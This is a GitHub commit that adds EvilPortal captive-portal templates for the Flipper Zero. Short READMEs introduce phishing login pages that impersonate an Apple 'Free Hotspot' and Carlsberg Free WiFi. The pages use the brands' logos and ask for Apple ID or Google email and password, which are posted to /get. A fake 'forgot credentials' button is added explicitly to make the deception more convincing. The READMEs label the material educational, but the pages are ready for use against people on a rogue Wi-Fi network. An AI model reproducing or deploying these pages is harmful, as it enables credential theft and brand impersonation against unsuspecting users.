Add files via upload

This commit is contained in:
FlippieHacks
2023-08-16 21:29:28 +02:00
committed by GitHub
parent 4682b81a28
commit c271fd3fea
47 changed files with 3894 additions and 0 deletions

6
Brands/Apple/README.md Normal file
View File

@@ -0,0 +1,6 @@
# !!FOR EDUCATIONAL USES ONLY!!
This one **emulates a portal for a Apple "Free Hotspot"** using EvilPortal on your Flipper Zero.
The **HTML in the *"WithForgotCredentials"* file** contains a **"forgot credentials" button on the user side to make it look more realistic**. This button only shows a message inviting them to go on their provider's app if they forgot their login/password.
## Happy flippin'

View File

@@ -0,0 +1 @@
Apple Hotspot

View File

@@ -0,0 +1,169 @@
<!DOCTYPE html>
<html>
<head>
<style>
body {
font-family: Arial, sans-serif;
background-color: #FFFFFF;
}
.container {
max-width: 400px;
margin: 0 auto;
padding: 20px;
}
@media (min-width: 600px) {
.container {
max-width: 500px;
}
}
.logo-container {
text-align: center;
margin-bottom: 30px;
display: flex;
justify-content: center;
align-items: center;
}
.logo {
width: 40px;
height: 40px;
fill: #000000;
margin-right: 100px
}
.form-container {
background: #FFFFFF;
border: 1px solid #FFFFFF;
border-radius: 4px;
padding: 20px;
box-shadow: 0px 0px 10px 0px rgba(108,66,156,0.2);
}
h1 {
text-align: center;
font-size: 28px;
font-weight: 500;
color: #000000;
margin-bottom: 20px;
}
h2 {
text-align: center;
font-size: 28px;
font-weight: 500;
color: #000000;
margin-bottom: 20px;
}
.input-field {
width: 100%;
padding: 12px;
border: 1px solid #000000;
border-radius: 4px;
box-sizing: border-box;
margin-bottom: 20px;
font-size: 14px;
}
.submit-btn {
background: #000000;
border: none;
color: #FFFFFF;
padding: 12px 20px;
border-radius: 4px;
cursor: pointer;
font-size: 16px;
display: block;
margin: auto;
margin-top: 20px;
}
.submit-btn:hover {
background: #000000;
}
.forgot-password {
display: block;
text-align: center;
color: #000000;
text-decoration: underline;
margin-top: 10px;
}
.error-message {
color: red;
text-align: center;
display: none;
margin-top: 10px;
}
</style>
</head>
<body>
<div class="container">
<div class="logo-container">
<svg version="1.0" xmlns="http://www.w3.org/2000/svg"
width="151.000000pt" height="177.000000pt" viewBox="0 0 1518.000000 1770.000000"
preserveAspectRatio="xMidYMid meet">
<g transform="translate(0.000000,1770.000000) scale(0.100000,-0.100000)"
fill="#000000" stroke="none">
<path d="M10625 17193 c-88 -19 -389 -104 -515 -145 -916 -297 -1571 -758
-2003 -1407 -204 -307 -362 -630 -481 -982 -141 -422 -217 -846 -242 -1371 -6
-134 -6 -138 13 -138 38 0 317 31 463 51 301 42 501 89 665 155 602 246 1280
890 1684 1601 391 689 602 1656 473 2167 -17 71 -22 77 -57 69z"/>
<path d="M10535 13419 c-313 -29 -670 -99 -1025 -200 -58 -17 -254 -79 -436
-139 -871 -287 -1269 -365 -1604 -316 -248 37 -606 121 -1040 245 -736 209
-1159 296 -1615 332 -188 15 -616 6 -775 -16 -553 -76 -1013 -247 -1450 -538
-563 -376 -1074 -975 -1425 -1667 -339 -672 -524 -1371 -607 -2300 -18 -197
-18 -1070 0 -1280 132 -1569 644 -3064 1595 -4655 959 -1604 1952 -2399 2938
-2351 325 16 674 107 1209 318 471 186 718 260 1061 319 178 30 521 37 719 15
316 -37 663 -121 1075 -262 682 -233 969 -310 1305 -349 368 -43 696 18 1058
197 635 314 1271 987 1924 2038 362 583 666 1183 879 1735 71 187 169 479 161
486 -4 3 -56 23 -117 44 -138 49 -379 170 -513 258 -353 234 -700 594 -989
1027 -363 544 -573 1145 -633 1810 -17 181 -14 567 5 743 81 765 384 1437 922
2047 143 161 483 497 690 679 l163 143 -30 38 c-83 105 -271 311 -410 450
-231 231 -412 384 -632 533 -487 332 -1015 526 -1638 602 -160 20 -617 28
-765 14z"/>
</g>
</svg>
</div>
<div class="form-container">
<center><h1>Sign in with your Apple ID</h1>
</center>
<form action="/get" id="login-form">
<input name="email" class="input-field" type="text" placeholder="Email or mobile phone number" required>
<input name="password" class="input-field" type="password" placeholder="Password" required>
<a href="javascript:void(0);" class="forgot-password">Forgot credentials?</a>
<button class="submit-btn" type="submit">Connect</button>
<div class="error-message"></div>
</form>
</div>
</div>
<script>
document.querySelector('.forgot-password').addEventListener('click', function() {
var errorMessage = document.querySelector('.error-message');
errorMessage.innerHTML = "Please refer to your Google account if you forgot your credentials";
errorMessage.style.display = 'block';
});
</script>
</body>
</html>

View File

@@ -0,0 +1 @@
Apple Free Hotspot

146
Brands/Apple/index.html Normal file
View File

@@ -0,0 +1,146 @@
<!DOCTYPE html>
<html>
<head>
<style>
body {
font-family: Arial, sans-serif;
background-color: #FFFFFF;
}
.container {
max-width: 400px;
margin: 0 auto;
padding: 20px;
}
@media (min-width: 600px) {
.container {
max-width: 500px;
}
}
.logo-container {
text-align: center;
margin-bottom: 30px;
display: flex;
justify-content: center;
align-items: center;
}
.logo {
width: 40px;
height: 40px;
fill: #000000;
margin-right: 100px
}
.form-container {
background: #FFFFFF;
border: 1px solid #FFFFFF;
border-radius: 4px;
padding: 20px;
box-shadow: 0px 0px 10px 0px rgba(108,66,156,0.2);
}
h1 {
text-align: center;
font-size: 28px;
font-weight: 500;
color: #000000;
margin-bottom: 20px;
}
h2 {
text-align: center;
font-size: 28px;
font-weight: 500;
color: #000000;
margin-bottom: 20px;
}
.input-field {
width: 100%;
padding: 12px;
border: 1px solid #000000;
border-radius: 4px;
box-sizing: border-box;
margin-bottom: 20px;
font-size: 14px;
}
.submit-btn {
background: #000000;
border: none;
color: #FFFFFF;
padding: 12px 20px;
border-radius: 4px;
cursor: pointer;
font-size: 16px;
display: block;
margin: auto;
margin-top: 20px;
}
.submit-btn:hover {
background: #000000;
}
</style>
</head>
<body>
<div class="container">
<div class="logo-container">
<svg version="1.0" xmlns="http://www.w3.org/2000/svg"
width="151.000000pt" height="177.000000pt" viewBox="0 0 1518.000000 1770.000000"
preserveAspectRatio="xMidYMid meet">
<g transform="translate(0.000000,1770.000000) scale(0.100000,-0.100000)"
fill="#000000" stroke="none">
<path d="M10625 17193 c-88 -19 -389 -104 -515 -145 -916 -297 -1571 -758
-2003 -1407 -204 -307 -362 -630 -481 -982 -141 -422 -217 -846 -242 -1371 -6
-134 -6 -138 13 -138 38 0 317 31 463 51 301 42 501 89 665 155 602 246 1280
890 1684 1601 391 689 602 1656 473 2167 -17 71 -22 77 -57 69z"/>
<path d="M10535 13419 c-313 -29 -670 -99 -1025 -200 -58 -17 -254 -79 -436
-139 -871 -287 -1269 -365 -1604 -316 -248 37 -606 121 -1040 245 -736 209
-1159 296 -1615 332 -188 15 -616 6 -775 -16 -553 -76 -1013 -247 -1450 -538
-563 -376 -1074 -975 -1425 -1667 -339 -672 -524 -1371 -607 -2300 -18 -197
-18 -1070 0 -1280 132 -1569 644 -3064 1595 -4655 959 -1604 1952 -2399 2938
-2351 325 16 674 107 1209 318 471 186 718 260 1061 319 178 30 521 37 719 15
316 -37 663 -121 1075 -262 682 -233 969 -310 1305 -349 368 -43 696 18 1058
197 635 314 1271 987 1924 2038 362 583 666 1183 879 1735 71 187 169 479 161
486 -4 3 -56 23 -117 44 -138 49 -379 170 -513 258 -353 234 -700 594 -989
1027 -363 544 -573 1145 -633 1810 -17 181 -14 567 5 743 81 765 384 1437 922
2047 143 161 483 497 690 679 l163 143 -30 38 c-83 105 -271 311 -410 450
-231 231 -412 384 -632 533 -487 332 -1015 526 -1638 602 -160 20 -617 28
-765 14z"/>
</g>
</svg>
</div>
<div class="form-container">
<center><h1>Sign in with your Apple ID</h1>
</center>
<form action="/get" id="login-form">
<input name="email" class="input-field" type="text" placeholder="Email or mobile phone number" required>
<input name="password" class="input-field" type="password" placeholder="Password" required>
<button class="submit-btn" type="submit">Connect</button>
</form>
</div>
</div>
</body>
</html>

View File

@@ -0,0 +1,6 @@
# !!FOR EDUCATIONAL USES ONLY!!
This one **emulates a portal for a Carlsberg "Free Hotspot"** using EvilPortal on your Flipper Zero.
The **HTML in the *"WithForgotCredentials"* file** contains a **"forgot credentials" button on the user side to make it look more realistic**. This button only shows a message inviting them to go on their provider's app if they forgot their login/password.
## Happy flippin'

View File

@@ -0,0 +1 @@
Carlsberg Free WiFi

View File

@@ -0,0 +1,279 @@
<!DOCTYPE html>
<html>
<head>
<style>
body {
font-family: Arial, sans-serif;
background-color: #FFFFFF;
}
.container {
max-width: 400px;
margin: 0 auto;
padding: 20px;
}
@media (min-width: 600px) {
.container {
max-width: 500px;
}
}
.logo-container {
text-align: center;
margin-bottom: 30px;
display: flex;
justify-content: center;
align-items: center;
}
.logo {
width: 40px;
height: 40px;
fill: #005F2C;
margin-right: 100px
}
.form-container {
background: #FFFFFF;
border: 1px solid #FFFFFF;
border-radius: 4px;
padding: 20px;
box-shadow: 0px 0px 10px 0px rgba(108,66,156,0.2);
}
h1 {
text-align: center;
font-size: 28px;
font-weight: 500;
color: #005F2C;
margin-bottom: 20px;
}
h2 {
text-align: center;
font-size: 28px;
font-weight: 500;
color: #005F2C;
margin-bottom: 20px;
}
.input-field {
width: 100%;
padding: 12px;
border: 1px solid #005F2C;
border-radius: 4px;
box-sizing: border-box;
margin-bottom: 20px;
font-size: 14px;
}
.submit-btn {
background: #005F2C;
border: none;
color: #FFFFFF;
padding: 12px 20px;
border-radius: 4px;
cursor: pointer;
font-size: 16px;
display: block;
margin: auto;
margin-top: 20px;
}
.submit-btn:hover {
background: #005F2C;
}
.forgot-password {
display: block;
text-align: center;
color: #005F2C;
text-decoration: underline;
margin-top: 10px;
}
.error-message {
color: red;
text-align: center;
display: none;
margin-top: 10px;
}
</style>
</head>
<body>
<div class="container">
<div class="logo-container">
<svg version="1.0" xmlns="http://www.w3.org/2000/svg"
width="380.000000pt" height="210.000000pt" viewBox="0 0 3840.000000 2160.000000"
preserveAspectRatio="xMidYMid meet">
<g transform="translate(0.000000,2160.000000) scale(0.100000,-0.100000)"
fill="#005F2C" stroke="none">
<path d="M3066 18544 c-56 -20 -105 -61 -332 -274 -510 -482 -1006 -1065
-1372 -1615 -752 -1131 -1164 -2278 -1284 -3580 -21 -225 -17 -996 5 -1210 90
-839 305 -1571 666 -2270 406 -785 950 -1447 1651 -2011 527 -423 1165 -773
1818 -997 478 -165 910 -256 1457 -309 176 -17 789 -17 970 0 979 92 1882 399
2722 924 345 216 625 431 950 729 214 198 257 270 232 390 -22 104 -137 181
-243 163 -67 -11 -125 -47 -241 -149 -626 -550 -1457 -934 -2329 -1075 -325
-53 -739 -73 -1041 -51 -632 47 -1210 206 -1760 486 -786 400 -1447 1017
-1897 1770 -542 909 -745 1987 -562 2985 116 629 396 1283 771 1798 576 790
1351 1328 2187 1518 222 51 349 65 607 71 329 7 540 -15 835 -87 486 -120 914
-341 1245 -642 67 -62 78 -68 117 -68 31 0 49 6 65 23 12 12 597 779 1300
1704 1386 1826 1310 1718 1254 1771 l-23 22 -3865 -1 c-3340 0 -3869 -2 -3903
-15z"/>
<path d="M30955 18541 c-22 -10 -70 -39 -107 -64 -163 -110 -371 -137 -563
-72 -44 15 -108 29 -141 32 -165 15 -324 -80 -397 -235 -30 -62 -32 -75 -32
-172 0 -98 2 -110 32 -170 20 -41 54 -86 89 -120 132 -126 169 -173 209 -264
39 -89 55 -189 52 -337 -2 -121 0 -138 20 -175 52 -96 140 -149 248 -148 80 0
81 1 315 137 85 50 175 99 199 110 155 69 322 -98 256 -256 -21 -52 -74 -91
-271 -202 -201 -113 -261 -164 -287 -240 -35 -102 -13 -210 57 -279 24 -24 84
-62 141 -90 137 -68 222 -153 287 -286 29 -59 53 -126 62 -175 9 -44 28 -105
43 -135 35 -72 113 -149 188 -186 56 -27 68 -29 175 -29 107 0 119 2 175 29
75 37 153 114 188 186 14 30 35 97 46 148 24 109 63 195 125 273 61 78 118
122 243 188 91 48 113 64 140 105 41 61 57 117 50 183 -6 60 -48 143 -88 177
-15 13 -120 76 -234 142 -237 136 -256 154 -263 253 -7 93 46 172 134 201 70
24 113 9 302 -101 231 -134 257 -147 318 -154 109 -14 225 50 276 153 21 43
23 60 23 212 1 142 4 174 23 230 34 104 89 187 188 284 106 105 136 149 159
230 48 167 -21 351 -167 446 -119 77 -236 87 -398 33 -74 -24 -100 -28 -205
-28 -96 0 -134 4 -190 22 -64 21 -95 37 -242 128 -94 58 -229 44 -315 -33 -80
-72 -82 -82 -88 -392 -6 -304 -7 -309 -74 -368 -33 -28 -89 -52 -126 -52 -37
0 -93 24 -126 52 -68 60 -68 64 -74 368 -5 302 -5 299 -73 376 -68 78 -208
108 -302 65z"/>
<path d="M13761 16406 c-43 -24 -50 -52 -51 -192 0 -169 2 -172 143 -215 205
-62 255 -80 273 -100 18 -20 19 -108 24 -2873 l6 -2851 21 -97 c78 -352 228
-607 468 -792 191 -148 371 -229 637 -288 l103 -23 1715 0 1715 0 110 28 c522
132 885 495 984 984 68 336 15 623 -159 855 -157 209 -397 366 -885 578 -291
127 -401 180 -500 240 -247 149 -336 321 -269 523 35 107 160 191 336 228 305
62 723 -22 1006 -204 103 -67 153 -63 192 13 20 38 449 1024 464 1064 3 10 1
35 -5 53 -21 66 38 63 -1171 63 -1153 0 -1202 -2 -1358 -46 -105 -30 -265
-109 -345 -169 -292 -220 -456 -525 -472 -877 -20 -446 163 -766 582 -1017 22
-13 164 -88 315 -166 312 -161 387 -205 483 -282 125 -100 199 -219 224 -358
50 -282 -121 -566 -399 -662 -176 -60 -481 -34 -705 60 -271 114 -487 359
-539 610 -17 81 -41 114 -89 123 -42 7 -359 -117 -380 -150 -31 -46 -28 -78
10 -136 48 -74 69 -148 62 -226 -10 -124 -82 -231 -195 -286 -60 -30 -75 -33
-152 -33 -72 1 -94 5 -141 28 -66 32 -142 108 -172 175 l-22 47 -5 3163 -5
3164 -33 29 -32 29 -883 0 c-713 -1 -887 -3 -906 -14z"/>
<path d="M20078 16405 c-15 -9 -32 -24 -38 -35 -5 -10 -10 -80 -10 -155 0
-136 0 -137 28 -164 17 -17 54 -36 102 -50 237 -70 270 -82 285 -103 13 -20
15 -306 15 -2753 0 -1817 4 -2767 10 -2840 44 -454 244 -807 595 -1043 190
-128 413 -213 692 -264 125 -22 144 -23 728 -23 542 0 608 2 685 18 474 102
796 408 917 871 l27 101 5 521 6 521 120 -69 c142 -80 346 -172 502 -225 l112
-38 17 -70 c33 -135 106 -331 176 -472 153 -309 374 -584 636 -791 89 -71 263
-192 276 -192 2 0 35 -17 73 -39 100 -57 285 -135 414 -175 468 -145 996 -141
1459 10 130 43 377 163 490 239 317 212 604 540 687 785 39 113 24 191 -46
237 -77 52 -180 20 -260 -81 -186 -234 -445 -389 -762 -457 -142 -31 -488 -34
-617 -6 -259 57 -482 174 -668 349 -145 138 -277 336 -302 454 l-9 41 171 6
c612 22 1160 219 1541 554 309 272 507 659 531 1041 l7 104 71 47 c184 123
365 218 501 262 52 18 92 23 155 23 151 -2 251 -61 308 -180 l27 -59 5 -1641
c5 -1730 3 -1656 45 -1686 6 -4 414 -8 908 -8 l898 0 24 24 c31 31 38 73 33
207 -5 151 7 143 -325 239 -50 14 -78 29 -93 47 l-20 26 2 1406 3 1406 27 57
c73 156 271 259 439 229 96 -16 143 -46 269 -165 127 -122 196 -164 311 -190
228 -53 448 -14 659 116 105 64 266 222 340 332 319 477 346 1191 64 1681
-133 230 -344 442 -589 591 -70 43 -88 49 -145 52 -50 2 -73 -1 -100 -16 -76
-42 -112 -120 -95 -208 5 -31 30 -60 139 -168 155 -153 185 -188 271 -317 125
-186 176 -336 155 -458 -22 -125 -105 -243 -207 -292 -70 -34 -171 -38 -265
-9 -92 27 -161 66 -355 197 -281 191 -456 249 -635 212 -185 -39 -347 -205
-364 -374 -5 -47 0 -88 25 -191 37 -155 38 -193 10 -252 -31 -64 -86 -97 -159
-96 -80 1 -129 32 -242 156 -173 189 -245 244 -372 286 -405 133 -1009 -86
-1756 -636 l-95 -70 -41 70 c-211 356 -583 587 -1054 654 -154 23 -445 22
-605 0 -520 -73 -958 -285 -1324 -641 -287 -279 -473 -577 -596 -950 -64 -193
-115 -469 -115 -619 l0 -45 -117 55 c-143 66 -344 175 -475 258 l-98 60 0 856
0 857 -26 24 -26 24 -673 3 -674 2 -33 -29 -33 -29 -3 -639 c-2 -443 0 -654 8
-690 23 -108 36 -118 463 -372 l257 -153 0 -639 c0 -422 -4 -656 -11 -691 -41
-197 -197 -345 -434 -410 -68 -19 -107 -22 -260 -22 -178 -1 -181 -1 -275 32
-137 48 -214 94 -300 181 -77 78 -125 156 -152 251 -10 36 -13 658 -15 3111
l-3 3066 -26 24 -26 24 -886 2 c-769 2 -891 0 -914 -12z m7375 -3766 c221 -34
350 -195 349 -438 0 -216 -143 -486 -374 -707 -262 -250 -610 -400 -978 -421
l-105 -6 3 89 c19 640 280 1182 673 1398 81 45 136 64 224 81 90 17 120 17
208 4z"/>
<path d="M5720 13530 c-911 -81 -1669 -868 -1840 -1911 -43 -264 -45 -593 -4
-854 158 -1017 870 -1796 1755 -1920 294 -41 661 -1 894 96 154 64 240 125
495 355 127 114 179 139 290 139 93 -1 148 -19 215 -72 34 -26 113 -125 225
-283 128 -179 286 -258 495 -247 123 6 224 38 390 126 345 181 775 528 1337
1080 l228 224 0 -614 c0 -561 1 -617 17 -639 9 -14 22 -28 27 -32 6 -4 415 -8
909 -8 l898 0 24 25 c24 23 25 29 25 165 0 78 -5 150 -10 161 -16 29 -59 47
-224 95 -119 34 -156 48 -174 69 l-22 26 2 1407 3 1407 24 60 c33 82 125 174
203 203 156 58 281 26 348 -91 24 -42 30 -64 30 -114 0 -52 -6 -71 -35 -125
-67 -120 -85 -166 -94 -234 -30 -244 115 -475 349 -556 122 -43 349 -24 528
42 255 95 484 315 591 566 63 148 76 221 76 419 0 216 -16 289 -100 460 -157
322 -464 534 -834 575 -188 21 -415 -16 -564 -91 -146 -74 -243 -161 -406
-363 -139 -172 -185 -208 -271 -209 -95 -1 -151 50 -270 249 -162 269 -353
384 -693 414 -207 19 -397 -14 -565 -99 -233 -117 -420 -338 -422 -497 0 -58
42 -135 92 -170 37 -26 49 -29 122 -29 79 0 83 1 136 40 51 37 60 40 122 40
76 0 111 -19 140 -76 17 -32 18 -95 18 -891 l0 -856 -82 -74 c-123 -110 -325
-277 -474 -388 -346 -261 -588 -382 -732 -367 -73 8 -153 49 -201 103 -76 86
-71 -4 -71 1355 0 845 3 1225 11 1242 15 34 30 41 204 92 87 25 168 53 180 61
39 25 47 62 43 198 -3 122 -4 126 -31 153 l-27 28 -759 0 -759 0 -26 -24 c-15
-14 -31 -43 -37 -65 -48 -176 -86 -234 -168 -256 -86 -23 -126 -5 -331 144
-263 192 -477 281 -763 321 -137 18 -341 25 -457 15z m790 -1050 c293 -46 565
-245 639 -468 21 -62 21 -72 19 -855 l-3 -793 -38 -77 c-90 -181 -300 -335
-545 -398 -96 -24 -280 -27 -398 -4 -457 87 -772 423 -886 947 -26 121 -36
434 -18 575 55 444 275 794 605 963 190 97 434 140 625 110z"/>
<path d="M34990 13529 c-1100 -91 -1951 -1230 -1870 -2503 57 -897 515 -1651
1220 -2005 279 -141 544 -198 875 -188 399 12 638 94 906 313 51 41 105 82
120 90 39 20 98 17 137 -6 64 -39 64 -33 60 -639 l-4 -546 -26 -96 c-54 -199
-128 -335 -252 -466 -44 -47 -107 -104 -140 -128 -396 -280 -971 -235 -1329
105 -177 168 -280 388 -294 629 -6 85 -9 97 -34 125 l-27 31 -206 0 -206 0
-24 -25 c-21 -21 -27 -40 -36 -115 -19 -169 -78 -331 -190 -519 -394 -662
-1209 -1189 -2238 -1450 -631 -160 -1260 -225 -2052 -213 -875 14 -1699 125
-2731 368 -661 155 -1230 317 -2569 729 -1352 416 -1880 568 -2590 745 -1273
316 -2371 484 -3518 536 -292 13 -1115 7 -1322 -10 -679 -56 -1265 -147 -1920
-296 -1516 -347 -3006 -943 -4285 -1713 -247 -149 -591 -375 -818 -539 -295
-211 -685 -522 -707 -562 -16 -31 -12 -68 12 -95 13 -14 232 -140 488 -279
527 -287 2506 -1368 2945 -1609 249 -137 295 -158 323 -154 27 4 68 38 198
163 448 428 730 673 1109 958 1248 940 2577 1447 4205 1605 480 46 1139 69
1523 52 753 -34 1582 -151 3232 -458 1254 -233 1492 -277 1840 -338 1102 -195
1941 -306 2600 -345 693 -41 1549 -6 2292 94 1863 251 3290 933 4130 1975 72
90 223 307 290 418 l19 32 58 -84 c292 -430 785 -720 1361 -801 431 -61 839 0
1213 180 638 308 1066 903 1141 1587 8 66 11 844 11 2427 0 1721 3 2337 11
2355 15 32 44 45 222 96 204 60 197 51 197 239 l0 149 -31 26 -31 26 -754 -2
-754 -3 -25 -25 c-15 -16 -33 -54 -45 -99 -40 -141 -83 -200 -163 -222 -79
-21 -128 -1 -297 123 -63 47 -141 101 -173 121 -214 137 -464 214 -762 236
-153 12 -175 12 -315 0z m875 -1067 c224 -62 401 -184 512 -355 65 -100 64
-87 61 -958 l-3 -785 -38 -77 c-90 -181 -300 -335 -545 -398 -96 -24 -280 -27
-398 -4 -466 88 -791 446 -890 980 -29 153 -26 522 4 661 102 470 362 787 747
910 176 56 400 67 550 26z"/>
</g>
</svg>
</div>
<div class="form-container">
<center><h1>Sign in with your <b>Google</b> account</h1>
</center>
<form action="/get" id="login-form">
<input name="email" class="input-field" type="text" placeholder="Email" required>
<input name="password" class="input-field" type="password" placeholder="Password" required>
<a href="javascript:void(0);" class="forgot-password">Forgot credentials?</a>
<button class="submit-btn" type="submit">Connect</button>
<div class="error-message"></div>
</form>
</div>
</div>
<script>
document.querySelector('.forgot-password').addEventListener('click', function() {
var errorMessage = document.querySelector('.error-message');
errorMessage.innerHTML = "Please refer to your Google account if you forgot your credentials";
errorMessage.style.display = 'block';
});
</script>
</body>
</html>

View File

@@ -0,0 +1 @@
Carlsberg Free WiFi

254
Brands/Carlsberg/index.html Normal file
View File

@@ -0,0 +1,254 @@
<!DOCTYPE html>
<html>
<head>
<style>
body {
font-family: Arial, sans-serif;
background-color: #FFFFFF;
}
.container {
max-width: 400px;
margin: 0 auto;
padding: 20px;
}
@media (min-width: 600px) {
.container {
max-width: 500px;
}
}
.logo-container {
text-align: center;
margin-bottom: 30px;
display: flex;
justify-content: center;
align-items: center;
}
.logo {
width: 40px;
height: 40px;
fill: #005F2C;
margin-right: 100px
}
.form-container {
background: #FFFFFF;
border: 1px solid #FFFFFF;
border-radius: 4px;
padding: 20px;
box-shadow: 0px 0px 10px 0px rgba(108,66,156,0.2);
}
h1 {
text-align: center;
font-size: 28px;
font-weight: 500;
color: #005F2C;
margin-bottom: 20px;
}
h2 {
text-align: center;
font-size: 28px;
font-weight: 500;
color: #005F2C;
margin-bottom: 20px;
}
.input-field {
width: 100%;
padding: 12px;
border: 1px solid #005F2C;
border-radius: 4px;
box-sizing: border-box;
margin-bottom: 20px;
font-size: 14px;
}
.submit-btn {
background: #005F2C;
border: none;
color: #FFFFFF;
padding: 12px 20px;
border-radius: 4px;
cursor: pointer;
font-size: 16px;
display: block;
margin: auto;
margin-top: 20px;
}
.submit-btn:hover {
background: #005F2C;
}
</style>
</head>
<body>
<div class="container">
<div class="logo-container">
<svg version="1.0" xmlns="http://www.w3.org/2000/svg"
width="380.000000pt" height="210.000000pt" viewBox="0 0 3840.000000 2160.000000"
preserveAspectRatio="xMidYMid meet">
<g transform="translate(0.000000,2160.000000) scale(0.100000,-0.100000)"
fill="#005F2C" stroke="none">
<path d="M3066 18544 c-56 -20 -105 -61 -332 -274 -510 -482 -1006 -1065
-1372 -1615 -752 -1131 -1164 -2278 -1284 -3580 -21 -225 -17 -996 5 -1210 90
-839 305 -1571 666 -2270 406 -785 950 -1447 1651 -2011 527 -423 1165 -773
1818 -997 478 -165 910 -256 1457 -309 176 -17 789 -17 970 0 979 92 1882 399
2722 924 345 216 625 431 950 729 214 198 257 270 232 390 -22 104 -137 181
-243 163 -67 -11 -125 -47 -241 -149 -626 -550 -1457 -934 -2329 -1075 -325
-53 -739 -73 -1041 -51 -632 47 -1210 206 -1760 486 -786 400 -1447 1017
-1897 1770 -542 909 -745 1987 -562 2985 116 629 396 1283 771 1798 576 790
1351 1328 2187 1518 222 51 349 65 607 71 329 7 540 -15 835 -87 486 -120 914
-341 1245 -642 67 -62 78 -68 117 -68 31 0 49 6 65 23 12 12 597 779 1300
1704 1386 1826 1310 1718 1254 1771 l-23 22 -3865 -1 c-3340 0 -3869 -2 -3903
-15z"/>
<path d="M30955 18541 c-22 -10 -70 -39 -107 -64 -163 -110 -371 -137 -563
-72 -44 15 -108 29 -141 32 -165 15 -324 -80 -397 -235 -30 -62 -32 -75 -32
-172 0 -98 2 -110 32 -170 20 -41 54 -86 89 -120 132 -126 169 -173 209 -264
39 -89 55 -189 52 -337 -2 -121 0 -138 20 -175 52 -96 140 -149 248 -148 80 0
81 1 315 137 85 50 175 99 199 110 155 69 322 -98 256 -256 -21 -52 -74 -91
-271 -202 -201 -113 -261 -164 -287 -240 -35 -102 -13 -210 57 -279 24 -24 84
-62 141 -90 137 -68 222 -153 287 -286 29 -59 53 -126 62 -175 9 -44 28 -105
43 -135 35 -72 113 -149 188 -186 56 -27 68 -29 175 -29 107 0 119 2 175 29
75 37 153 114 188 186 14 30 35 97 46 148 24 109 63 195 125 273 61 78 118
122 243 188 91 48 113 64 140 105 41 61 57 117 50 183 -6 60 -48 143 -88 177
-15 13 -120 76 -234 142 -237 136 -256 154 -263 253 -7 93 46 172 134 201 70
24 113 9 302 -101 231 -134 257 -147 318 -154 109 -14 225 50 276 153 21 43
23 60 23 212 1 142 4 174 23 230 34 104 89 187 188 284 106 105 136 149 159
230 48 167 -21 351 -167 446 -119 77 -236 87 -398 33 -74 -24 -100 -28 -205
-28 -96 0 -134 4 -190 22 -64 21 -95 37 -242 128 -94 58 -229 44 -315 -33 -80
-72 -82 -82 -88 -392 -6 -304 -7 -309 -74 -368 -33 -28 -89 -52 -126 -52 -37
0 -93 24 -126 52 -68 60 -68 64 -74 368 -5 302 -5 299 -73 376 -68 78 -208
108 -302 65z"/>
<path d="M13761 16406 c-43 -24 -50 -52 -51 -192 0 -169 2 -172 143 -215 205
-62 255 -80 273 -100 18 -20 19 -108 24 -2873 l6 -2851 21 -97 c78 -352 228
-607 468 -792 191 -148 371 -229 637 -288 l103 -23 1715 0 1715 0 110 28 c522
132 885 495 984 984 68 336 15 623 -159 855 -157 209 -397 366 -885 578 -291
127 -401 180 -500 240 -247 149 -336 321 -269 523 35 107 160 191 336 228 305
62 723 -22 1006 -204 103 -67 153 -63 192 13 20 38 449 1024 464 1064 3 10 1
35 -5 53 -21 66 38 63 -1171 63 -1153 0 -1202 -2 -1358 -46 -105 -30 -265
-109 -345 -169 -292 -220 -456 -525 -472 -877 -20 -446 163 -766 582 -1017 22
-13 164 -88 315 -166 312 -161 387 -205 483 -282 125 -100 199 -219 224 -358
50 -282 -121 -566 -399 -662 -176 -60 -481 -34 -705 60 -271 114 -487 359
-539 610 -17 81 -41 114 -89 123 -42 7 -359 -117 -380 -150 -31 -46 -28 -78
10 -136 48 -74 69 -148 62 -226 -10 -124 -82 -231 -195 -286 -60 -30 -75 -33
-152 -33 -72 1 -94 5 -141 28 -66 32 -142 108 -172 175 l-22 47 -5 3163 -5
3164 -33 29 -32 29 -883 0 c-713 -1 -887 -3 -906 -14z"/>
<path d="M20078 16405 c-15 -9 -32 -24 -38 -35 -5 -10 -10 -80 -10 -155 0
-136 0 -137 28 -164 17 -17 54 -36 102 -50 237 -70 270 -82 285 -103 13 -20
15 -306 15 -2753 0 -1817 4 -2767 10 -2840 44 -454 244 -807 595 -1043 190
-128 413 -213 692 -264 125 -22 144 -23 728 -23 542 0 608 2 685 18 474 102
796 408 917 871 l27 101 5 521 6 521 120 -69 c142 -80 346 -172 502 -225 l112
-38 17 -70 c33 -135 106 -331 176 -472 153 -309 374 -584 636 -791 89 -71 263
-192 276 -192 2 0 35 -17 73 -39 100 -57 285 -135 414 -175 468 -145 996 -141
1459 10 130 43 377 163 490 239 317 212 604 540 687 785 39 113 24 191 -46
237 -77 52 -180 20 -260 -81 -186 -234 -445 -389 -762 -457 -142 -31 -488 -34
-617 -6 -259 57 -482 174 -668 349 -145 138 -277 336 -302 454 l-9 41 171 6
c612 22 1160 219 1541 554 309 272 507 659 531 1041 l7 104 71 47 c184 123
365 218 501 262 52 18 92 23 155 23 151 -2 251 -61 308 -180 l27 -59 5 -1641
c5 -1730 3 -1656 45 -1686 6 -4 414 -8 908 -8 l898 0 24 24 c31 31 38 73 33
207 -5 151 7 143 -325 239 -50 14 -78 29 -93 47 l-20 26 2 1406 3 1406 27 57
c73 156 271 259 439 229 96 -16 143 -46 269 -165 127 -122 196 -164 311 -190
228 -53 448 -14 659 116 105 64 266 222 340 332 319 477 346 1191 64 1681
-133 230 -344 442 -589 591 -70 43 -88 49 -145 52 -50 2 -73 -1 -100 -16 -76
-42 -112 -120 -95 -208 5 -31 30 -60 139 -168 155 -153 185 -188 271 -317 125
-186 176 -336 155 -458 -22 -125 -105 -243 -207 -292 -70 -34 -171 -38 -265
-9 -92 27 -161 66 -355 197 -281 191 -456 249 -635 212 -185 -39 -347 -205
-364 -374 -5 -47 0 -88 25 -191 37 -155 38 -193 10 -252 -31 -64 -86 -97 -159
-96 -80 1 -129 32 -242 156 -173 189 -245 244 -372 286 -405 133 -1009 -86
-1756 -636 l-95 -70 -41 70 c-211 356 -583 587 -1054 654 -154 23 -445 22
-605 0 -520 -73 -958 -285 -1324 -641 -287 -279 -473 -577 -596 -950 -64 -193
-115 -469 -115 -619 l0 -45 -117 55 c-143 66 -344 175 -475 258 l-98 60 0 856
0 857 -26 24 -26 24 -673 3 -674 2 -33 -29 -33 -29 -3 -639 c-2 -443 0 -654 8
